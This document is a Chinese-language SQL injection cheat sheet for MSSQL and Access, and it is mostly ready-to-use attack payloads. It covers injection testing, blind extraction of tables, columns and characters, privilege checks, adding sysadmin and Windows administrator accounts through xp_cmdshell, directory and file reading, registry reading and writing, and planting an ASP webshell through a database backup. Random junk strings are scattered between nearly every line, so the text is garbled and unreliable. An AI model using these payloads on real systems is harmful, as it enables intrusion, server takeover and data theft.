1.判断是否有注入;and 1=1 ;and 1=2 Z6Owxqfht
2.初步判断是否是mssql ;and user>0 ee9nfvG-
$d[ xSwang
3.注入参数是字符'and [查询条件] and ''=' %^r}$mfy:0
@H?_x/qBT
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ?3v Oc/2@
iHp@R-g
5.判断数据库系统 ATdK)gG
lM<SoC;[
;and (select count(*) from sysobjects)>0 mssql 0d%p<c
tk"+PTGJT
;and (select count(*) from msysobjects)>0 access 4IW7^Pq`P
:=I@<@82W
-X)KY_Xn@/
~PoBvHi
6.猜数据库 ;and (select Count(*) from [数据库名])>0 @7C?]/8#
o,#[Se*n
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 FK8GBkQ!
b)5z'zQu
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 -@wnQ?
tc_D8Q_
9.(1)猜字段的ascii值(access) c|s*(WljY
?4]#gCks
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ~;pv&s5}
UX9r_U5)
(2)猜字段的ascii值(mssql) Hvm+Tr2@
JpFfO<uO
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 :-I~-Yj
3e<FlH{
10.测试权限结构(mssql) FzDZ<dJ
*i}Nb*Z3
8, >YB+Hb
z&"-%l.b@}
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- u)DhkF|
+:s]>R eDa
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- '_~X(izc
XuQ7nlbnq
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- KvFGwq"X
fCA/
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- *=- o0 c
T%%+v#+
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- E>BP b
f-V8/
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- b :Knc$
$7#N@7
;and 1=(select IS_MEMBER('db_owner'));-- Bhy:"
r%#
a!;]9}u7
@Gs*y1
t5%\`Yo?
11.添加mssql和系统的帐户 *mc]Oa
&*}NN5Sv
;exec master.dbo.sp_addlogin username;-- T@n-^B !Xq
;exec master.dbo.sp_password null,username,password;-- Zl0Kv*S
nbnbG0r:
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- QFI8|i@
,C#Mf@b
;exec master.dbo.xp_cmdshell 'net user username password x<0-'EF/S
G%a8'3d,
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- kH!I&4d&
_d8k[HAJ|
;exec master.dbo.xp_cmdshell 'net user username password /add';-- iXN7+QO)
[w%MECTe
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- lF:gQ]oc
6z^Kg~a
MI|51&m
_.xT
:b36
12.(1)遍历目录 Fb<r~2
FBjIft5e
;create table dirs(paths varchar(100), id int) AnbY<&OC1
RP2MtP"M
;insert dirs exec master.dbo.xp_dirtree 'c:\' d(>7BV
X7I"WC1ncz
;and (select top 1 paths from dirs)>0 <p48?+K9
~zklrBn&
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) y\'t{>U/
UF[2Rb8?
sckyG
58H [sM4>
(2)遍历目录 ^y?7B_%:B#
wff&ci28
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- $B6"fYiDk
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 |(gq:O
t'uZho~^F
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 c2}?[\U]
{gE19J3
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5Rv6+d
s!\uR.
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 U _~lpu
*E<%db C2
Ni$WI{e9
#clPao?r
13.mssql中的存储过程 xw*T?!r=V
_P!J0
xp_regenumvalues 注册表根键, 子键 FhgO5@BO
x1m J&D
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 8&6h()
KzeTf?G
xp_regread 根键,子键,键值名 360V
8K!
l X
;exec xp_regread kL.JrbM"
^h+<Q%'a'
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 10v4k<xb
6V= 69}
xp_regwrite 根键,子键, 值名, 值类型, 值 oYNP,8r^
:t\pi.uWt
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Epm\=s
$oO9N^6yF
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ^|@t 2Rp@
h+k:G9;sS
xp_regdeletevalue 根键,子键,值名 UV%Al)3
^CUeq"GYoZ
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 N|c;Qzl
O:fv1
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 >9{Gdq[gyr
1FU(j*~:
0>Y3>vwSl
&pS <4
14.mssql的backup创建webshell uBLI!N-G
5;+OpB
use model B\a-Q,Wf
&?mH[rG"
create table cmd(str image); BN&^$1F((
t\nYUL-H
insert into cmd(str) values (''); #C1u~db
B./Lp_QK
backup database model to disk='c:\l.asp'; 6P=6E
VLW<"7I 6\
0c4H2RW
_tZT
15.mssql内置函数 WL4{_X
c>~"Z-VtX
;and (select @@version)>0 获得Windows的版本号 WjxOM\?#
"?|sC{'C4j
;and user_name()='dbo' 判断当前系统的连接用户是不是sa $LLkYOwI
A-\OB
Nh
;and (select user_name())>0 爆当前系统的连接用户 nwh7DUi
?yfk d:WD
;and (select db_name())>0 得到当前连接的数据库 gF;i3OJg
DVxW2J
(tV/.x*G
q3\
YL?
16.简洁的webshell <Q'J=;vV
S[rz=[7{
use model NF <|3|
8 /1 sy.R
create table cmd(str image); Zr,:i
MPZ
Al="ss&2
insert into cmd(str) values (''); x@3Ix,b'
ec/1Z8}p
backup database model to disk='g:\wwwtest\l.asp';